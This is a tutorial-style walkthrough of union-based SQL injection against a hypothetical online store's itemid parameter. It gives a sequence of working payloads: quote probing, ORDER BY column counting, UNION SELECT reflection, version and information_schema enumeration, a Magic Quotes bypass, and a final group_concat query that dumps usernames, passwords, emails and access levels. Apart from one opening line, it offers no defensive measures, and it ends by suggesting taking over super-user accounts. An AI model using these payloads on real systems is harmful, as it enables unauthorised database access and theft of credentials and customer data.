SQL Injection (SQLi) is an attack vector that is extremely easy to carry out. Most of the breaches you see today are perpetrated this way yielding huge payloads of data. Understanding this attack will help you defend against this type of attack.
So here is the typical scenario. A company sets up a store front to sell their goods online. The store has a database with their product information, reviews, cost, and customer information. The customer information could include Personally Identifiable Information (PII) and purchase history. If they are not in compliance with PCI then they could potentially have their customer’s credit card information. Needless to say this is a pretty juicy target.
Let’s take a look at the following URL:
Now we can add a ‘ (single quote) to the end and see if it is vulnerable to SQLi. If it is vulnerable you will get a SQL error usually about the SQL statement. Different version/types of SQL will display different types of errors. This happens because you are ending the string as expected but you are leaving an extra ‘ which makes the statement invalid. The SQL server returns the error which is then dumped to the website.
SELECT * WHERE itemid='10''
Now that we know it is vulnerable we can enumerate the columns to see how many there are by use the ORDER BY clause and double null.
http://[website]/index.php?itemid=10 ORDER BY 1-- Results are returned.
http://[website]/index.php?itemid=10 ORDER BY 2-- Results are returned.
http://[website]/index.php?itemid=10 ORDER BY 3-- Results are returned.
http://[website]/index.php?itemid=10 ORDER BY 4-- Results are returned.
http://[website]/index.php?itemid=10 ORDER BY 5-- Results are returned.
http://[website]/index.php?itemid=10 ORDER BY 6-- Error is returned.
This means that we have 5 columns in our table.
With this information we can use a UNION clause to see which columns are displaying on the webpage.
http://[website]/index.php?itemid=-10 UNION SELECT 1,2,3,4,5--
Look at the webpage and search for numbers that are displayed and out of place. These are the columns that we can use to pull information out of the database with.
Next we need to find out what version of SQL the website is connecting to. We can accomplish this by taking our statement, where we used the UNION, and place @@version in our query in the position of a column that displayed.
/index.php?itemid=-10 UNION SELECT 1,2,@@version,4,5--
Looking at the spot that the number 3 appeared earlier you should find the SQL version that is used. If you do not see the version then try this instead.
/index.php?itemid=-10 UNION SELECT 1,2,unhex(hex(@@version)),4,5--
If this works then you will need to use unhex(hex()) in all your requests.
Now we need to find the table names that are in the database. We can achieve this by using the following query.
/index.php?itemid=-10 UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema=database()--
If you find that a table name is cut off at the end of the list then you ran into the 1024 limit. Count the items in the list noting the number of the table that was cut off. Remove the group_concat and add a LIMIT clause. For this example I will use 42 as the number of the table name that got cut off.
/index.php?itemid=-10 UNION SELECT 1,2,table_name,4,5 FROM information_schema.tables WHERE table_schema=database() LIMIT 41,1--
Notice that I used LIMIT 41,1. This is because the tables are counted in the database starting with 0.
Next lets get the name of the database that we are in using concat(database()) in our UNION.
/index.php?itemid=-10 UNION SELECT 1,2,concat(database()),4,5--
This is not a necessary step but the information could become handy.
Look through the list of table names and pick your target. For our example we will use Auth.
/index.php?itemid=-10 UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_name="Auth"--
You should receive a list of column names. If you receive an error this means that Magic Quotes is enabled. Try converting the table name into char or hex using an online converter. If you convert it to hex don’t forget to add 0x to the beginning of the hexed string.
Now it is time to dump the information out of the columns that are of interest to you. Lets say in the last example that we found our table had columns named Username, Password, Email, and AccessLevel.
/index.php?itemid=-10 UNION SELECT 1,2,group_concat(username,0x3a,password,0x3a,email,0x3a,accesslevel),4,5 FROM Auth--
As you can tell from the names of the columns there is some pretty serious information being dumped out of this table. We can find a user with super user access and start changing items on the website. As I stated above what if you were storing credit card information in the database? You would have alot of angry users and your site may not recover from the negative publicity.